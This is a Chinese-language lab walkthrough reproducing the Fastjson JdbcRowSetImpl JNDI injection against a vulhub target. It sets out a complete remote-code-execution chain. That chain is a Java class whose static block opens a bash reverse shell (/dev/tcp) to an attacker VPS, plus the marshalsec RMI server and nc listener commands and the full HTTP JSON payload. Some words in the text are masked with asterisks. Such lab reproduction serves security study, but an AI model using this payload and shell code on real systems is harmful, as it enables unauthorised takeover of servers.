一、环境准备
vulhub:
靶场环境
vps:
用于部署marshalsec
marshalsec:
用于启用rmi服务传递恶意类
mvn:
构建marshalsec项目
python:
用于配合marshalsec使用
java以及javac:
用于生成以及编译poc文件
以上工具以及环境可以搭配ai进行部署,此处不再进行赘述
二、触发流程
三、复现过程
一、恶意站点开启
1、创建shell.java文件,后用javac shell.java对文件进行编译,随后在vps的 /marshalsec/target目录下放入编译后的.class文件
import java.lang.Runtime; // 导入Java运行时类(用于执行系统命令)
import java.lang.Process; // 导入进程类(用于管理执行结果)public class shell {
static { // 静态代码块(类加载时自动触发)
try {String[] ***mands = {"/bin/bash","-c","bash -i >& /dev/tcp/110.xx.xx.xx/7777 0>&1"};
// ^-- 定义反弹Shell命令:通过/bin/bash启动子Shell,建立TCP反向连接
Runtime runtime = Runtime.getRuntime(); // 获取Runtime单例(执行命令的核心对象)
Process process = runtime.exec(***mands); // 执行命令(实际攻击入口点)
process.waitFor(); // 阻塞等待Shell连接完成
} catch (Exception e) {
// 静默异常(防止攻击失败时输出错误日志)
}
}
}
2、在该目录下用python3 -m http.server 开启web服务,默认端口为8000,如果是python2版本需要python2 -m SimpleHTTPServer 。开启http服务是为了marshalsec返回的恶意JNDI Reference能指向HTTP服务上的.class文件路径
3、用java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://110.xx.xx.xx:8000/#shell" 4396命令启用marshalsec,4396为任意自定义端口
4、nc –lvvp 7777,监听反弹shell
-l(listen)
启用监听模式,将 ***cat 设置为服务端,等待传入的连接(默认是客户端模式主动连接其他服务)
-v(verbose)
启用详细输出模式,显示更多连接相关的信息(如连接来源IP、端口等)
多个 -v 参数(如 -vv)会进一步增加输出的详细程度(例如显示更底层的网络交互信息)
-p(port)
指定本地监听的端口号
二、fastjson触发
1、进入vulhub漏洞站点
2、抓包修改请求方式传payload
POST / HTTP/1.1
Host: 192.168.1.117:8090
Cache-Control: max-age=0
DNT: 1
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36 Edg/135.0.0.0
A***ept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
A***ept-Encoding: gzip, deflate, br
A***ept-Language: zh-***,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6
Connection: close
Content-Type: application/json
Content-Length: 167
{
"shell":{
"@type":"***.sun.rowset.JdbcRowSetImpl",
"dataSourceName":"rmi://110.xx.xx.xx:4396/shell",
"auto***mit":true
}
}
三、成功获取反弹shell
web日志
marshalsec日志
JNDI注入触发点:
JdbcRowSetImpl类在设置dataSourceName后,若调用setAuto***mit(true),会隐式触发connect()方法,进而通过JNDI(Java Naming and Directory Interface)查找dataSourceName指定的资源。
四、可能出错的原因
1、编译不成功
java版本与javac版本不一致
2、开启服务失败
vps安全组配置问题
3、vps安全组开放后还是失败
可能是vps禁用了部分敏感端口,更换端口尝试
4、连接不上
检查自己是不是哪里ip搞错了